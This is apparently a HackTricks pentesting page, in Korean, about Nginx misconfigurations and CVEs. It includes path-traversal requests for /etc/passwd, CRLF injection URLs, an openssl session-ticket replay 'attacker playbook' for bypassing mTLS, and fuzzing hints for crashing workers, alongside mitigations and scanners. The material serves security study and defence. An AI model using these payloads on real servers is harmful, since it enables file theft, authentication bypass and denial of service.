Nginx
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Missing root location
Nginx 서버를 구성할 때, root directive는 파일이 제공되는 기본 디렉터리를 정의함으로써 중요한 역할을 합니다. 아래 예제를 보세요:
server {
root /etc/nginx;
location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}
이 구성에서는 /etc/nginx가 루트 디렉터리로 지정되어 있습니다. 이 설정은 /hello.txt와 같은 지정된 루트 디렉터리 내의 파일에 대한 접근을 허용합니다. 그러나 중요한 점은 오직 특정 location (/hello.txt)만 정의되어 있다는 것입니다. 루트 위치 (location / {...})에 대한 구성은 없습니다. 이 누락으로 인해 root 지시문은 전역적으로 적용되어 루트 경로 /에 대한 요청이 /etc/nginx 아래의 파일에 접근할 수 있게 됩니다.
이 구성으로 인해 심각한 보안 문제가 발생할 수 있습니다. 간단한 GET 요청(예: GET /nginx.conf)만으로도 /etc/nginx/nginx.conf에 위치한 Nginx 구성 파일을 제공하여 민감한 정보가 노출될 수 있습니다. root를 /etc와 같이 민감도가 낮은 디렉터리로 설정하면 이 위험을 완화할 수 있지만, 여전히 다른 구성 파일이나 액세스 로그, 심지어 HTTP basic authentication에 사용되는 암호화된 자격 증명 등 다른 중요한 파일에 대한 의도치 않은 접근을 허용할 수 있습니다.
Alias LFI 구성 오류
Nginx의 구성 파일에서는 “location” 지시문을 면밀히 점검해야 합니다. Local File Inclusion (LFI)로 알려진 취약점은 다음과 유사한 구성에서 의도치 않게 도입될 수 있습니다:
location /imgs {
alias /path/images/;
}
이 구성은 서버가 /imgs../flag.txt 같은 요청을 의도된 디렉터리 밖의 파일에 접근하려는 시도로 해석하여 실제로는 /path/images/../flag.txt로 해석되기 때문에 LFI 공격에 취약합니다. 이 결함을 통해 공격자는 웹으로는 접근할 수 없어야 할 서버 파일시스템의 파일을 가져올 수 있습니다.
이 취약점을 완화하려면 구성은 다음과 같이 조정해야 합니다:
location /imgs/ {
alias /path/images/;
}
자세한 정보: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/
Accunetix 테스트:
alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403
Unsafe path restriction
다음 페이지를 확인해 다음과 같은 디렉티브를 우회하는 방법을 알아보세요:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Proxy / WAF Protections Bypass
안전하지 않은 변수 사용 / HTTP Request Splitting
Caution
취약한 변수
$uri및$document_uri가 있으며, 이는$request_uri로 교체하면 해결됩니다.정규식도 다음과 같이 취약할 수 있습니다:
location ~ /docs/([^/])? { … $1 … }- 취약
location ~ /docs/([^/\s])? { … $1 … }- 취약하지 않음 (공백 검사)
location ~ /docs/(.*)? { … $1 … }- 취약하지 않음
A vulnerability in Nginx configuration is demonstrated by the example below:
location / {
return 302 https://example.com$uri;
}
\r (Carriage Return)와 \n (Line Feed) 문자는 HTTP 요청에서 줄바꿈 문자를 의미하며, 이들의 URL-encoded 형태는 %0d%0a로 표시됩니다. 이러한 문자를 요청(예: http://localhost/%0d%0aDetectify:%20clrf)에 포함시켜 잘못 구성된 서버로 보내면, 서버는 Detectify라는 이름의 새로운 헤더를 발행합니다. 이는 $uri 변수가 URL-encoded된 줄바꿈 문자를 디코드하여 응답에 예기치 않은 헤더가 포함되기 때문입니다:
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf
CRLF injection과 response splitting의 위험에 대해 자세히 알아보려면 https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.
또한 이 기법은 explained in this talk에서 몇 가지 취약한 예제와 탐지 메커니즘과 함께 설명되어 있습니다. 예를 들어, 블랙박스 관점에서 이 misconfiguration을 탐지하려면 다음 요청들을 보낼 수 있습니다:
https://example.com/%20X- Any HTTP codehttps://example.com/%20H- 400 Bad Request
취약한 경우, 첫 번째는 ’X’가 임의의 HTTP method로 받아들여져 응답을 반환할 수 있고, 두 번째는 H가 유효한 method가 아니어서 오류를 반환합니다. 따라서 서버는 GET / H HTTP/1.1 같은 요청을 받게 되어 오류가 발생합니다.
또 다른 탐지 예시는 다음과 같습니다:
http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x- Any HTTP codehttp://company.tld/%20HTTP/1.1%0D%0AHost:%20x- 400 Bad Request
해당 강연에서 제시된 일부 취약 구성은 다음과 같습니다:
- 최종 URL에서 **
$uri**가 있는 그대로 설정된 것을 주목하세요
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
- 다시 한 번 **
$uri**가 URL에 있는 것을 주목하세요(이번에는 파라미터 안에 있음)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
- 이제 AWS S3에서
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}
임의의 변수
사용자 제공 데이터가 특정 상황에서 Nginx 변수로 처리될 수 있음이 발견되었다. 이 동작의 원인은 다소 불명확하지만, 드물지도 않고 검증도 간단하지 않다. 이 이상 동작은 HackerOne에 게시된 보안 보고서에서 지적되었으며, here에서 확인할 수 있다. 오류 메시지를 더 조사한 결과, 해당 문제가 SSI filter module of Nginx’s codebase에서 발생함이 확인되어 Server Side Includes (SSI)가 근본 원인으로 지목되었다.
이 잘못된 구성을 탐지하려면, 다음 명령을 실행하여 referer 헤더를 설정하고 변수 출력 여부를 테스트할 수 있다:
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
이러한 잘못된 구성에 대한 시스템 전반의 스캔에서 Nginx 변수가 사용자에 의해 출력될 수 있는 여러 사례가 발견되었다. 그러나 취약한 인스턴스 수의 감소는 이 문제를 패치하려는 노력이 어느 정도 성공했음을 시사한다.
try_files를 $URI$ARGS 변수와 함께 사용하기
다음과 같은 Nginx 잘못된 구성은 LFI 취약점으로 이어질 수 있다:
location / {
try_files $uri$args $uri$args/ /index.html;
}
구성에서 try_files 디렉티브는 지정된 순서대로 파일의 존재를 확인하는 데 사용됩니다. Nginx는 발견되는 첫 번째 파일을 제공합니다. 다음은 try_files 디렉티브의 기본 구문입니다:
try_files file1 file2 ... fileN fallback;
Nginx는 지정된 순서대로 각 파일의 존재를 확인합니다. 파일이 존재하면 즉시 제공됩니다. 지정된 파일들이 모두 존재하지 않으면 요청은 다른 URI나 특정 오류 페이지가 될 수 있는 대체 옵션으로 전달됩니다.
하지만 이 지시문에서 $uri$args 변수를 사용할 경우, Nginx는 요청 URI에 쿼리 문자열 인수를 결합한 것과 일치하는 파일을 찾으려고 시도합니다. 따라서 우리는 이 구성을 악용할 수 있습니다:
http {
server {
root /var/www/html/public;
location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}
다음 페이로드:
GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com
우리의 payload를 사용해 root 디렉터리(Nginx 구성에서 정의된)를 탈출하고 /etc/passwd 파일을 로드합니다. 디버그 로그에서 Nginx가 파일을 어떻게 시도하는지 관찰할 수 있습니다:
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK
PoC against Nginx using the configuration mentioned above:

백엔드 원시 응답 읽기
Nginx는 proxy_pass를 통해 백엔드에서 생성된 오류와 HTTP 헤더를 가로채 내부 오류 메시지와 헤더를 숨길 수 있는 기능을 제공합니다. 이는 Nginx가 백엔드 오류에 대해 커스텀 에러 페이지를 제공함으로써 실현됩니다. 그러나 Nginx가 잘못된 HTTP 요청을 만났을 때 문제가 발생합니다. 그러한 요청은 받은 그대로 백엔드로 전달되며, 백엔드의 원시 응답이 Nginx의 개입 없이 클라이언트로 직접 전송됩니다.
예를 들어 uWSGI 애플리케이션을 포함한 시나리오를 고려해보겠습니다:
def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]
이를 관리하기 위해 Nginx 구성에서는 특정 지시어가 사용됩니다:
http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
- proxy_intercept_errors: 이 디렉티브는 상태 코드가 300보다 큰 백엔드 응답에 대해 Nginx가 커스텀 응답을 제공하도록 합니다. 예시 uWSGI 애플리케이션에서
500 Error응답이 가로채져 Nginx에서 처리되도록 보장합니다. - proxy_hide_header: 이름 그대로, 이 디렉티브는 지정된 HTTP 헤더를 클라이언트에게 숨겨 프라이버시와 보안을 향상시킵니다.
유효한 GET 요청이 들어오면 Nginx는 정상적으로 처리하여 비밀 헤더를 드러내지 않는 표준 오류 응답을 반환합니다. 그러나 잘못된 HTTP 요청은 이 메커니즘을 우회하여 비밀 헤더와 오류 메시지를 포함한 원시 백엔드 응답이 노출됩니다.
merge_slashes를 off로 설정
기본적으로 Nginx의 merge_slashes directive는 **on**으로 설정되어 있어 URL의 여러 개의 슬래시를 하나의 슬래시로 압축합니다. 이 기능은 URL 처리를 간소화하지만, 특히 local file inclusion (LFI) 공격에 취약한 애플리케이션의 경우 Nginx 뒤에 있는 취약점을 의도치 않게 숨길 수 있습니다. 보안 전문가 Danny Robinson and Rotem Bar는 특히 Nginx가 reverse-proxy로 동작할 때 이 기본 동작과 관련된 잠재적 위험을 강조했습니다.
이러한 위험을 완화하려면 이러한 취약점에 취약한 애플리케이션에 대해 merge_slashes directive를 off로 설정하는 것을 권장합니다. 이렇게 하면 Nginx가 URL 구조를 변경하지 않고 요청을 애플리케이션으로 전달하므로 근본적인 보안 문제를 가리지 않습니다.
For more information check Danny Robinson and Rotem Bar.
Maclicious Response Headers
As shown in this writeup, 웹 서버의 응답에 특정 헤더들이 포함되면 Nginx proxy의 동작이 변경됩니다. 해당 헤더들은 in the docs에서 확인할 수 있습니다:
X-Accel-Redirect: Indicate Nginx to internally redirect a request to a specified location.X-Accel-Buffering: Controls whether Nginx should buffer the response or not.X-Accel-Charset: Sets the character set for the response when using X-Accel-Redirect.X-Accel-Expires: Sets the expiration time for the response when using X-Accel-Redirect.X-Accel-Limit-Rate: Limits the rate of transfer for responses when using X-Accel-Redirect.
예를 들어, 헤더 **X-Accel-Redirect**는 nginx에서 내부 redirect를 발생시킵니다. 따라서 nginx 설정에 root / 같은 것이 있고 웹 서버의 응답에 **X-Accel-Redirect: .env**가 포함되면 nginx는 **/.env**의 내용을 전송하게 됩니다 (Path Traversal).
map directive의 기본값
Nginx 구성에서 map 디렉티브는 종종 **권한 제어 (authorization control)**에 사용됩니다. 흔한 실수는 default 값을 지정하지 않는 것으로, 이로 인해 무단 접근이 발생할 수 있습니다. 예를 들어:
http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}
default이 없으면, malicious user가 /map-poc 내의 undefined URI에 접근하여 보안을 우회할 수 있습니다. The Nginx manual은 이러한 문제를 피하기 위해 default value를 설정할 것을 권고합니다.
DNS Spoofing Vulnerability
특정 조건에서는 Nginx에 대한 DNS spoofing이 가능합니다. 공격자(attacker)가 Nginx가 사용하는 DNS server를 알고 그 DNS queries를 가로챌 수 있다면, DNS 레코드를 spoof할 수 있습니다. 그러나 Nginx가 DNS 해석에 **localhost (127.0.0.1)**을 사용하도록 구성되어 있으면 이 방법은 효과가 없습니다. Nginx는 다음과 같이 DNS server를 지정할 수 있습니다:
resolver 8.8.8.8;
proxy_pass 및 internal 지시자
proxy_pass 지시자는 요청을 내부 또는 외부의 다른 서버로 리디렉션하는 데 사용됩니다. internal 지시자는 특정 location이 Nginx 내부에서만 접근 가능하도록 보장합니다. 이러한 지시자들 자체가 곧바로 취약점은 아니지만, 보안 누락을 방지하려면 구성 설정을 면밀히 검토해야 합니다.
proxy_set_header Upgrade & Connection
nginx 서버가 Upgrade 및 Connection 헤더를 전달하도록 구성된 경우, h2c Smuggling attack를 통해 보호된/내부 엔드포인트에 접근할 수 있습니다.
Caution
이 취약점은 공격자가
proxy_pass엔드포인트(이 경우http://backend:9999)와 직접 연결을 수립할 수 있게 하며, 해당 연결의 콘텐츠는 nginx에 의해 검사되지 않습니다.
Example of vulnerable configuration to steal /flag from here:
server {
listen 443 ssl;
server_name localhost;
ssl_certificate /usr/local/nginx/conf/cert.pem;
ssl_certificate_key /usr/local/nginx/conf/privkey.pem;
location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}
location /flag {
deny all;
}
Warning
proxy_pass가http://backend:9999/socket.io같은 특정 경로를 가리키고 있더라도 연결은http://backend:9999로 설정되므로 내부 엔드포인트 안의 다른 경로로 접근할 수 있습니다. 따라서 proxy_pass의 URL에 경로가 지정되어 있어도 상관없습니다.
HTTP/3 QUIC module remote DoS & leak (2024)
2024년에 Nginx는 CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 및 CVE-2024-35200을 공개했으며, 이는 ngx_http_v3_module가 컴파일되어 있고 listen ... quic 소켓이 노출된 경우 하나의 악의적인 QUIC 세션이 워커 프로세스를 충돌시키거나 메모리를 leak할 수 있음을 보여줍니다. 영향받는 빌드는 1.25.0–1.25.5 및 1.26.0이며, 1.27.0/1.26.1에는 수정이 포함되어 있습니다; 메모리 공개(CVE-2024-34161)는 민감한 데이터를 노출하려면 MTU가 4096바이트보다 커야 합니다(자세한 내용은 아래의 2024 nginx 권고문 참조).
Recon & exploitation hints
- HTTP/3는 opt-in이므로
Alt-Svc: h3=":443"응답을 스캔하거나 UDP/443에서 QUIC 핸드셰이크를 브루트포스하세요; 확인되면 커스텀quiche-client/nghttp3페이로드로 핸드셰이크와 STREAM 프레임을 fuzz하여 워커 충돌을 유발하고 log leakage를 강제하세요. - 대상의 지원을 빠르게 식별하려면:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/
TLS session resumption bypass of client cert auth (CVE-2025-23419)
2025년 2월 권고문은 OpenSSL로 빌드된 nginx 1.11.4–1.27.3에서 하나의 name-based virtual host에서 발생한 reusing a TLS 1.3 session을 다른 호스트에서 다시 사용할 수 있게 되어, certificate-free host와의 연결을 성립한 클라이언트가 ticket/PSK를 재생(replay)해 ssl_verify_client on;으로 보호된 vhost로 침투하고 mTLS를 완전히 우회할 수 있다고 공개했습니다. 이 버그는 여러 virtual hosts가 동일한 TLS 1.3 session cache와 tickets를 공유할 때 트리거됩니다(아래의 2025 nginx 권고문 참조).
공격자 플레이북
# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem
# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof
대상이 취약한 경우, 두 번째 핸드셰이크는 클라이언트 인증서를 제시하지 않고 완료되어 보호된 위치가 노출됩니다.
검토할 항목
server_name블록 중ssl_session_cache shared:SSL및ssl_session_tickets on;을 공유하는 혼합된 구성.- mTLS를 기대하지만 공용 호스트로부터 공유된 세션 캐시/티켓 설정을 상속받는 Admin/API 블록.
- vhost 격리를 고려하지 않고 TLS 1.3 세션 재개를 전역적으로 활성화하는 자동화(예: Ansible roles).
HTTP/2 Rapid Reset resilience (CVE-2023-44487 behavior)
The HTTP/2 Rapid Reset attack (CVE-2023-44487) still affects nginx when operators crank keepalive_requests or http2_max_concurrent_streams beyond the defaults: an attacker opens one HTTP/2 connection, floods it with thousands of streams, then immediately issues RST_STREAM frames so the concurrency ceiling is never reached while CPU keeps burning on tear-down logic. Nginx defaults (128 concurrent streams, 1000 keepalive requests) keep the blast radius small; pushing those limits “substantially higher” makes it trivial to starve workers even from a single client (see the F5 write-up referenced below).
탐지 팁
# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/
해당 지시문들에 대해 비정상적으로 높은 값을 노출하는 호스트는 주요 표적입니다: 하나의 HTTP/2 클라이언트가 스트림 생성과 즉시 RST_STREAM 프레임을 반복하여 동시성 한도를 초과시키지 않으면서도 CPU를 고갈시킬 수 있습니다.
직접 시도해보기
Detectify는 이 문서에서 논의된 몇 가지 잘못된 구성으로 취약한 Nginx 테스트 서버를 Docker로 설정해 직접 찾아볼 수 있는 GitHub 저장소를 만들었습니다!
https://github.com/detectify/vulnerable-nginx
정적 분석 도구
gixy-ng & Gixy-Next & GIXY
- Gixy-Next (an updated fork of GIXY) 는 Nginx 설정을 분석하여 취약한 지시문, 안전하지 않은 지시문 및 위험한 잘못된 구성을 찾아내는 도구입니다. 또한 성능에 영향을 주는 잘못된 구성과 누락된 보안 강화 기회를 찾아 자동화된 결함 탐지를 제공합니다.
- gixy-ng (the actively maintained fork of GIXY) 는 Nginx 설정을 분석하여 취약한 지시문, 안전하지 않은 지시문 및 위험한 잘못된 구성을 찾아내는 도구입니다. 또한 성능에 영향을 주는 잘못된 구성과 누락된 보안 강화 기회를 찾아 자동화된 결함 탐지를 제공합니다.
Nginxpwner
Nginxpwner는 일반적인 Nginx 구성 오류와 취약점을 찾아보는 간단한 도구입니다.
참고자료
- https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/
- http://blog.zorinaq.com/nginx-resolver-vulns/
- https://github.com/yandex/gixy/issues/115
- https://mailman.nginx.org/pipermail/nginx-announce/2024/GWH2WZDVCOC2A5X67GKIMJM4YRELTR77.html
- https://mailman.nginx.org/pipermail/nginx-announce/2025/NYEUJX7NCBCGJGXDFVXNMAAMJDFSE45G.html
- https://www.f5.com/company/blog/nginx/http-2-rapid-reset-attack-impacting-f5-nginx-products
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


